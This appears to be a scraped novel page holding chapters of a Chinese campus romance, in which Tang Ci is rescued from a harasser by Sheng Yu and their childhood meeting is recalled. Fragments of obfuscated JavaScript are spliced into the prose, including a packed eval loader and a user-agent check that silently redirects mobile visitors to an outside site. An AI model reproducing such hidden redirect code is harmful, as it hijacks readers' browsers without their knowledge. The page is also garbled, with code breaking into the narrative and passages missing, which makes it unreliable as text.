0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078099|177405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难熬了些,但好在能安静学习。 最难过的日子,她会在学完习的深夜,拉开抽屉从资料底部,小心翻出那张游泳比赛的宣传单看一会儿。 丁赫是个阴魂不散的人,自汤慈换了座位,就接连不断地收到他的短信电话,汤慈不看不接,看到后会直接将其号码拉黑。 这种情况一直持续到高二,丁赫跟着家人搬去了临城,他对汤慈的骚扰才终于告一段落。 而现在他又出现了。 隔了几年,汤慈再次为此人狗皮膏药的功力震惊几秒,木着脸说:“没事的话我就先走了。” “唉,唉——”丁赫伸手拦她,着急道:“你着急干什么去?就算是老同学见面也能聊一会吧。” 汤慈又往落地窗挪了挪步子,“我同学在等我学习。” 丁赫突然晃了晃脑袋,躬身扶着圆桌,喘息着说:“我头有点晕,好像是低血糖犯了。” “……”汤慈依稀想起他初中就有低血糖的毛病,曾在升旗仪式上摔倒吓坏一众师生,她本能地伸手想扶一把,但掌心伸到半空还是下不去手,只干巴巴问一句,“你身上带糖了吗?” 丁赫伸出一只手朝她摆摆,“忘了这茬了。” 店员看到他这个架势,也有点怕,走过来询问,“同学,你没事吧,需要给你叫个120吗?” 丁赫缓了一下,抬头虚弱地看着汤慈说:“没事,就是有点低血糖,让我同学扶我去买点吃的就行了。” 店员忙不迭点头,“快去吧,别耽搁。” “……”汤慈在心里闷闷叹了口气,问店员要了打包袋把咖啡装起来,而后催促丁赫,“快点走吧。” 像是等不及要送走他这尊瘟神,丁赫看出她的烦闷,但更知道她的心软,他被汤慈拉着手臂,脚步故意放慢。 好不容易出了图书馆大门,汤慈被萧瑟的北风一吹,手脚瞬间冰凉,她拨了拨耳边的碎发,看到手腕上拎着的咖啡纸袋,才觉出自己愚蠢。 汤慈松开扶着丁赫的手,将放糖的那杯咖啡塞到了他手里,“这杯咖啡有糖,你喝了就好了。” 丁赫猝不及防接下咖啡,看着汤慈毫无留恋转身就要回馆内,他眼疾手快抓住了汤慈的手臂,口中赖赖唧唧卖惨,“我都这样了,你再陪我一会呗,再说这咖啡里面能有多少糖啊,要是我喝完不管用晕在这儿了,你不心疼啊?” 图书馆门口来来往往许多人,看到学生模样的男女拉拉扯扯,都纷纷侧目。 汤慈被旁人看的耳根发热,正色道:“你先放开我。” “你先答应陪我。”丁赫打定主意赖到底,他性格浪荡习惯被人注视,声音都拔高了一些,“好汤慈,你答应我吧。” 汤慈手臂被他拽得生疼,因愠怒而脸热:“你再不松开我要报警了。” 她的声线本就不高,加上室外人声嘈杂,丁赫并没有听清汤慈的话,看到她脸色发红,以为她害羞,唇角勾着朝汤慈靠近。 “你说什——啊啊啊啊——” 汤慈身后突然伸出一只手,擒住丁赫抓着汤慈手臂的那只手,冷色手背上青筋迭起,丁赫原本带着笑意的声音陡然变得尖利,脸也唰的一下惨白,抓着汤慈的手猛地甩开。 他的动作太过突然,汤慈身体依照惯性后仰,直直撞上身后人的胸膛。 她讶然抬眸,对上盛毓的冷眉冷眼,“不是让你买完咖啡就来?” 汤慈嗫嚅着想解释一番,丁赫的惨叫音量开始升级。 盛毓厌恶地啧了一声,松开手把他拨到离汤慈两米外的地方。 丁赫揉着红到发青的手腕,愤愤看向两人,“这就是你说的同学?” 他皱着眉头上下打量了一番盛毓,见他穿着随意却昂贵,气质也矜贵疏离,了然地冷笑,“怪不得你一直不回我信息,原来是找到下家了,乔熙说的没错,你当初接近我就是图钱。” 汤慈觉得周围人的目光和窃语似利剑,快速无形地穿过她的身体,碾碎自尊。 乔熙跟在盛毓身后出来,嘴角噙着冷笑,站在几米远的地方看热闹。 初中时的梦魇在青天白日重现,唯一不同的是盛毓也在。 汤慈想到盛毓会和其他人一样想她,就觉得自己被放置在一个真空袋内,空气正被人一点一点抽走。 平静的气势荡然无存,反驳的话再也说不出来,汤慈埋着头想把自己藏起来。 肩膀忽然一沉,盛毓掌心搭上她的肩膀,将她带进了怀里。 汤慈混沌的大脑没能理清,唯有感官恢复正常,她能清晰听到盛毓低沉磁性的声音自脑袋上方传来。 “丁赫,满十六了么?” 丁赫不知道他葫芦里卖的什么药,揪着眉心点头。 盛毓举起正在录音的手机,看着丁赫的眼睛闪过锋利的光:“你刚才说的话最好有证据,不然就等着进去吧。” 丁赫脸色瞬间涨红,不知所措地看向乔熙。 乔熙知道盛家的雷霆作风,脸色变了变,朝盛毓靠近一些,想辩解什么。 盛毓偏头睨住她,“也包括你。” 乔熙站在明晃晃的日光下,浑身惊出一身冷汗,她第一次意识到盛毓确实如传闻中一样冷厉到不近人情。 汤慈最先才从眼前的闹剧中回过神,她很轻地拽了一下盛毓的夹克下摆,“我们回去吧。” 盛毓避开她被丁赫攥红的腕骨,握住她的手,自然而然带着她朝前走,“听你的。” 21. 第 21 章 弱小的人身上会散发出任人欺负的信号。 这一点,汤慈在小学毕业那个夏天就感受到了。 住院部的小朋友不少,有来陪护家人的,也有被家人陪护的,只有汤慈是个例外。 汤建伟只有在医生通知有重要事宜的时候才出现,而妈妈已经去世。所以大多数的时间汤慈都是自己在医院。 刚小学毕业的汤慈还不明白人生具体什么时候才变得混乱的。 可能是汤建伟停掉的她所有兴趣班的三年级寒假,也有可能是查出病症的六年级盛夏。 等她反应过来,她已经失去了同龄人之间的社交货币,成为了被排除在外的透明人。 没有任何悬念的,她也没能融入医院里小孩临时组建的团体,还因为病发时脸颊上的红疹而被嘲笑。 这天她照例检查完,病房外站着几个其他病房的男孩,他们的脸上同时存在天真和残忍,嘻嘻哈哈毫无避讳地讨论她的病情。 抽过血的手臂连着太阳穴胀胀地痛,汤慈茫然看了看坏笑着的几个小孩,强忍着快要溢出的眼泪,抱着书包出了病房,下楼去无人的后院待着,这样就可以避开他们。 但他们显然没打算放过他,为首的胖男孩一脸神气,不满汤慈回避的态度,朝身后的小伙伴一招手,“走——我们看看她干什么去。” 汤慈绕了两层楼也没能甩开他们,出了住院部的后门,还是被他们跟了上来。 “别跟着我。”汤慈攥紧拳头,鼓足勇气警告,却被其中一人狠狠推了一把。 她跌进比她还要高的葳蕤草丛,压断正奋力生长的风铃花,白色连衣裙上沾满了泥巴。 汤慈用力拍打身上的污渍,怕汤建伟来了又要骂她。 男孩们看她狼狈哈哈笑起来,打头的胖子额头却凭空被一个从墙角飞来的石头砸中,吓得他捂着脑袋吱哇乱叫几声,才忿忿朝墙角大叫,“谁在哪?!” 墙角的长椅上站起来一个男生,身型高瘦,姿态挺拔,黑衬衫熨贴工整,他一手扯着耳机线,一手抛着一块小石子儿,淡声斥道:“吵死了。” 汤慈坐在乱七八糟的草丛中,怔怔抬头望着他,认出他是上次遇到的男生,她还记得男生微凉的指尖擦掉她脸上泪水时的触感。 男生像是察觉到了她的目光,微微超她偏头,朝她伸出了手掌。 汤慈心口紧密地打起鼓,她太久没有被人保护过,她回握的动作很是生疏。 男生将她拉起来扯到身后,颀长的身影将她完全遮挡。 几个男孩被他的气势吓到,但看到他脸上的眼罩,气势又很快回升。 戴眼镜的男孩结结巴巴出风头,“大家别怕,他,他是个瞎子。” 胖子嘴一撅,从地上捡起一把石子,嘴里嚷嚷着:“还没人敢打小爷我,今天我就让这个瞎子尝尝小爷的厉害。” 他说着使劲儿甩了甩手臂,朝着男生扔出一把石子。 石子噼里啪啦只打在男生的裤脚,有几粒滚到了汤慈的脚下。 汤慈害怕地攥紧了男生的衣摆,男生直接略过放狠话的阶段,手中的石子直接砸向胖子的肚子。 只听噗的一声,石子又从胖子的肚子上弹开,砸到了眼镜的小腿。 两人一前一后蹲在地上呜呜叫起来。剩下几个男孩面面相觑,咽着唾沫偷偷瞥对手一眼又看向地下。 男生变戏法一样,手中不知道什么时候又多了一块石头,这次没抛,在他修长的指尖盘着。 再开口,男生嗓音懒怠,“我数到三,想留下的我继续陪你玩。” “三。” 胖子强撑着自尊,呼哧呼哧喘息着不动。 其他男孩也只好各自站定。 “二。” 眼镜揉着小腿后退一步,被胖子恨铁不成钢地瞪了一眼,但胖子的脚步也虚浮起来。 “一。” 男生说完,手中的石头随手朝墙上一撂。 啪地一声轻响,一群男孩口中咋咋唬唬,瞬间做鸟兽散。 荒草丛生的后花园再次恢复宁静,汤慈心有余悸地从男生身后探头朝外看。 男生转过身,手指先搭了一下她的肩膀,又探到她的脸颊。 指尖捻了捻冰凉的眼泪,男生轻笑,“小不点儿,你怎么又哭。” 汤慈这才后知后觉发现自己哭了,她拿出纸巾胡乱擦了擦脸,觉得给他添了麻烦而羞愧,瓮声说:“对不起。” “他们为什么欺负你?” 汤慈吸了吸鼻子,“我也不知道。” 男生躬身捡起一块石头,放到了她手里,“下次他们再闹,你就打回去,知道么。” 汤慈掌心摩擦着尖锐的石头,惶惶说:“……打鞋可以吗?” “……”男生形状好看的唇角掀了掀,无奈道:“总比干站着强。” 他往右耳塞进一只耳机,指尖摸索到长椅准备坐下,汤慈揪着裙子的纽扣,小声但快速地问;“你叫什么名字啊。” 男生朝她抬起手臂,腕上挂着个科室的手环。 汤慈凑近去看,“盛,盛……每?” “钟灵毓秀的毓。”男生眉心轻皱,在她脑袋上比划了一下,“小不点儿,你几岁?上小学了吗?” “我已经小学毕业了。”汤慈第一次因自己浅薄的知识而羞愧,不知不觉就开始解释起来,“我因为住院总是请假,漏了好多课才这样的……” 盛毓罕见地沉默了一会儿,问她:“带书了吗?” “带了。”为了证明自己没说假话,汤慈将书包里的书都交到了盛毓的手中。 “哪里不会,说说看。”盛毓扯掉耳机,坐在长椅上,随口道。 汤慈迟疑地坐在了长椅的另一端,翻开数学课本,问了那道她一直没弄懂的题目。 盛毓口述步骤,并让汤慈写下来,小学的数学难度低,跟着写了一遍,难题迎刃而解。 汤慈从中得到乐趣,在盛毓的讲解下,快速写完了一张卷子。 连时间的悄然流逝都被她抛诸脑后,回过神的时候,金色灿阳已经缓缓坠入西山。 盛毓率先从长椅上站起来,漆黑的发顶被夕阳染得金黄,碎发在他挺直的眉骨间拂动,又被他捋到头顶。 “今天讲的听懂了么。” “听懂了。”汤慈讷讷看着他,绞着手指,小声而谨慎地问:“你明天还来吗?” 盛毓微垂着脑袋,指尖利索地缠绕耳机线,“整个暑假都在。” 他把缠好的耳机塞进裤子口袋,抬手揉了把她的脑袋:“你想学习了就来找我。” 汤慈当时并不清楚,为什么交到新朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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想到两人补习的开端,就是她犯规堵车得来,对于一个有前科的人,怎么想盛毓都不会相信她。 汤慈指尖一下一下磨着蕾丝桌布,试图通过这点摩擦力来缓解心中的焦躁。 铛啷,白瓷茶杯连带着白瓷盘被放到吧台,老板温声提醒,“您的饮品好了。” 盛毓应了一声嗯,端着茶杯卡座走来。听到逐渐挨近的脚步声,汤慈没来由地感到紧张。 冒着热气的茶杯放到她面前,盛毓坐在她对面,还未开口,汤慈就慌张垂眼,捧着茶杯喝了一小口,随机愣了一下。 “红糖水啊?” 盛毓抬抬眉,“是要喝这个吧。” 汤慈拿着汤匙舀动杯子内白润的雪梨,其实她也不知道,但看网上都这么说,她揉着鼻尖说:“应该是的。” 等她又喝了一口,盛毓才慢条斯理地敲了敲桌面,“先跟我说说你前男友。” 汤慈整个人傻住,完全不明白盛毓为何会问这个问题。 她先“啊?”了一声,才问:“丁赫吗?” 盛毓扯扯嘴角。 汤慈蹙着眉头疑惑地摇头,“他不是我前男友,我没有和他在一起过啊。” 盛毓“哦”了一声,指尖拨动着她茶杯的把手,瓷器摩擦发出细小的簌簌声,像是一阵微风,撩拨着人的心弦。 “不喜欢他那样的?” 汤慈摇头,脑袋摆得像拨浪鼓,嘴角向下隐隐露出厌烦之意。 盛毓笑了,手背撑着下巴看她,轻缓的嗓音拖的很长,“那你喜欢什么样的?” 22. 第 22 章 落地窗外呼呼吹过冷风,店内更显安静,汤匙动一下都惊天动地。 汤慈放下汤匙,双手放在桌下悄然绞紧,赧着脸装傻充愣:“什么……什么样的。” 盛毓拿起先前买的咖啡喝了抿了一口,自然道:“择偶标准。” 他说的太清楚,嗓音磁性,字正腔圆,吧台的老板往卡座睇了一眼。 汤慈嘴里含了一块温热的梨,余光看到老板转过头去忙其他事情,才含糊地说:“学习好的。” 盛毓不置可否哦了一声,略过这个话题,正色道:“你和那俩人之前有过节?” 汤慈将嚼碎的梨块咽下去,简单地将初中发生的事情和他讲了一遍。 盛毓听得眉心拧起,双手抱胸气势凌人道:“你堵我车的劲头上哪去了,被人欺负只会忍着?” 汤慈忽略额头的酥痒,抿抿唇道:“他们只是传些谣言,我当时忙着学习没时间理会这些。” 盛毓眉心未舒展,唇角的弧度也压平,他从风衣口袋内掏出个银色的小方块,隔空朝汤慈扔过来。 汤慈下意识伸手接了过来,银色金属沉甸甸缀在她掌心,还留有盛毓指尖的余温。 是他经常把玩的那个打火机。 汤慈抬眸茫然地看着他,“谢谢……我不抽烟。” 盛毓平直的唇角有了上扬的弧度,指尖挲了一下抬起在她脑门上敲了一记,“下次再被欺负,用这个打回去。” 一杯热腾腾的雪梨红糖水下肚,汤慈小腹坠痛的感觉减轻,手脚都暖和起来,出了店门被冷风一刮也没太冷的感觉。 打火机在手中反复摩挲,汤慈凑到盛毓身边,表情严肃,“这个打火机真的要给我么,看起来很贵。” 盛毓低眸,“给你就拿着。” 汤慈“噢”了一声,认真握着打火机,走出斑马线外:“我会好好珍惜的。” 盛毓拎着她的衣领将她拽回斑马线内:“看路。” 走到公交车站,汤慈要坐的那班车正好到站,不是高峰期,车上的空余座位很多,放在平时算得上幸运的事情,此刻她却没那么开心。 庞大的公交车噗地一声自动开门,机械女声播报到站信息。汤慈脚尖点地,讷讷对盛毓说:“那我走了。” 盛毓抬了抬下颌。 汤慈慢吞吞进入车厢,挑选了一个靠窗的位置坐下。 上一个乘客将窗户开了一条缝隙,她想也没想将窗玻璃开到最大,不顾车内零星几个乘客异样的眼神,探头对着窗外还未离开的身影说:“谢谢,盛毓,谢谢你。” 盛毓站在车外,视线和她齐平,“我听的到,不用说两遍。” 汤慈指尖捏着窗框,抿着唇看他。 这是小时候的汤慈迟到的道谢。 盛毓抬手将她的指尖掰开,从外面将窗户关上:“坐好。” 隔着布满划痕,不够清晰的玻璃,他的声音被隔绝在外,雾蒙蒙的,带着温暖的湿度。 汤慈眨了眨酸涩的眼眶,没来得及点头,公交车就轰隆隆开了出去。 / 深秋的雨降了几轮,气温也降至零点。 大风整日自教室窗外呼啸而过,窗外光秃秃的树枝随风摇摆不停。 学生们都换上了厚衣服,但下课时间,非必要几乎没有人到教室外活动。 下午第三节课下课,天色又阴沉下来,铅灰色的天空酝酿着冷雨,汤慈靠近敞开的后门,将外套的扣子扣到了顶。 盛毓撂下笔,和周弋阳下楼抽烟。 周弋阳一摸口袋,挑眉:“毓哥,带火没?” 盛毓掀眸:“下楼买。” 周弋阳点点头,抬脚要走,看到汤慈从书包的夹层中摸出一个银质的打火机,犹犹豫豫地递向盛毓。 盛毓没要,“不是说给你了,自己收着。” 汤慈“噢”了一声,听话地将打火机放回了书包。 周弋阳揉了揉眼睛,确定自己看到的是那个银质的打火机,语气不可置信:“你把打火机送汤慈了?!这不是你——” “走了。” 他话没说完,被盛毓拍在肩膀上的动作打断。 周弋阳咽下后半句话,在汤慈懵懂的目光中,跟着盛毓出了教室。 刚下楼梯,周弋阳就再也忍不住:“你把你妈遗物送汤慈,别告诉我就是送着玩。” 盛毓侧目瞥了他一眼,语气松散:“不行么。” “行行行。”周弋阳摆手,他知道盛毓有多宝贝那只打火机,表情严肃提醒道:“你好歹跟汤慈说一声,她万一以为就是个普通打火机,改天再给你弄丢了。” “她不会。”盛毓插着兜下楼,语气笃定。 周弋阳顿了顿,意识到自己多管闲事,面上浮上轻佻笑意:“毓哥,你这是陷进去了,小汤慈知道你的意思吗。” 盛毓嗤道:“什么意思。” 周弋阳耸耸肩,笑:“别问我,我谈了五次恋爱都没送过这么重要的东西。” 一出教学楼,盛毓就抽出一根烟咬着,口齿清晰地答非所问:“把小字去掉。” 周弋阳:“……” 金铭到的时候,盛毓唇间咬着烟,掐掉嗡嗡振动的电话,抬手将塑料打火机朝他扔了过来。 他伸手接过,仍盯着手机回消息,奇怪地问:“毓哥,你家今天怎么突然办晚宴?我爸非让我晚上跟他去一趟。” 周弋阳显然也知道这个消息,没说话,扫了一眼盛毓。 盛毓刚挂断的手机再次响起,他吐出青白烟雾的同时,淡声道:“不想去?” 金铭看出他脸色疏冷,挠挠头说:“我跟着你俩,你们要是不去我也不去了。” 周弋阳拍拍他的肩,“咱们都高三了,学习抽不开身,金叔叔能体谅。” 盛毓不置可否,垂着眼皮,指尖随意拨动手机屏幕。国内知名的财经公众号,刚刚推送一条消息。 【南岭盛氏集团与京市程家缔结姻缘,婚礼定于明年8月12日。】 盛毓凸起的喉结上下动了动,缓缓眯起了眼,手机屏幕光源幽暗,照得他脸色如冷霜。 周弋阳拿出手机搜索那篇推文,看了几秒眉头就狠狠地揪了起来。 金铭察觉骤冷的气氛,勾头去看周弋阳的手机,眼睛一下子睁大,“盛叔要再婚?!” 周弋阳脸色复杂,沉声说了一句,“怎么定在这个时间。” 金铭不知道其中奥秘,愣愣接:“八月有什么问题?” 周弋阳没回答,偏头警告似地看了他一眼。 金铭空咽一下喉咙,没在出声。 实验楼后昏暗静谧,三层楼高的灌木幢幢立在黑暗中,光秃秃的枝丫被风吹得摇摆,发出哧喇哧喇的可怕动静。 盛毓定定盯着虚空两秒,倏地冷声嗤笑,“走了。” “去哪?”周弋阳皱 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汤慈薄唇抿紧,指尖无措地在裤缝间磨蹭,停顿了一会儿才开口:“我觉得他是一个……很好的人。善良、心软、有担当。” 她们不知不觉走到空无一人的楼梯间,汤慈的声音轻的激不起一点回声。 老许叹了一口气,轻轻拍了拍汤慈的肩膀,“还有一点,他还是个复杂的人。” 汤慈黑睫颤了颤。 “这都源于他来自一个复杂的家庭,”老许双手交叉,语重心长地说:“你是个聪明的孩子,高三这个重要的阶段,你心里最清楚什么该什么不该做。” 老许语气温和,眼光却无比锐利:“有时候人和人并没有生活在同一个世界。老师希望你能珍惜自己的心血,全心全意迎接高考,多为自己的未来考虑。” 走廊外的常青树在浓墨般的夜色里矗立,枝叶间忽地冒出一只落单的鸟,站在摇摇欲坠的枝丫间,脑袋疲累地转动,找不到同伴的方向,最终还是扑闪着翅膀茫然飞进夜空。 汤慈耳畔也跟着鸟飞走的响动一下一下地涨,她快速阖动着鼻翼,哑着嗓子说:“我明白的,谢谢许老师。” 离晚自习上课还有五分钟,汤慈回教室时觉得喉咙干涩,于是下楼去打热水。 站在水房橙黄色的吊灯下,她才发现自己忘记带水杯,只好机械地原路返回。 刚踏上教学楼的楼梯,汤慈外套口袋内的手机连声震动起来。 她回过神来,掏出手机来看,是之前加上微信一直没说过话的周弋阳给她打来的语音电话。 心口骤然发紧。汤慈断定这通电话和盛毓有关。 汤慈停下上楼的脚步,按下了接听键。 “喂。” “汤慈!你现在在学校吗?”周弋阳的声音很急,伴着粗重的呼吸声,焦躁地从听筒内传出来,“盛毓和他爸打起来了,事情现在有点严重,你方便来一趟盛宅——” “哐啷——” 周弋阳的话被一声尖锐的撞击声切断,随之响起的是此起彼伏的尖叫声。 汤慈眼前浮现老许警示地目光,上课铃声也蓦然自周围响起,她的心脏也一下迭一下重重撞击胸口。 她握着手机的左手指尖用力到发白,身体先大脑一步转身朝校门口跑去。 汤慈听见自己说:“我马上过来。”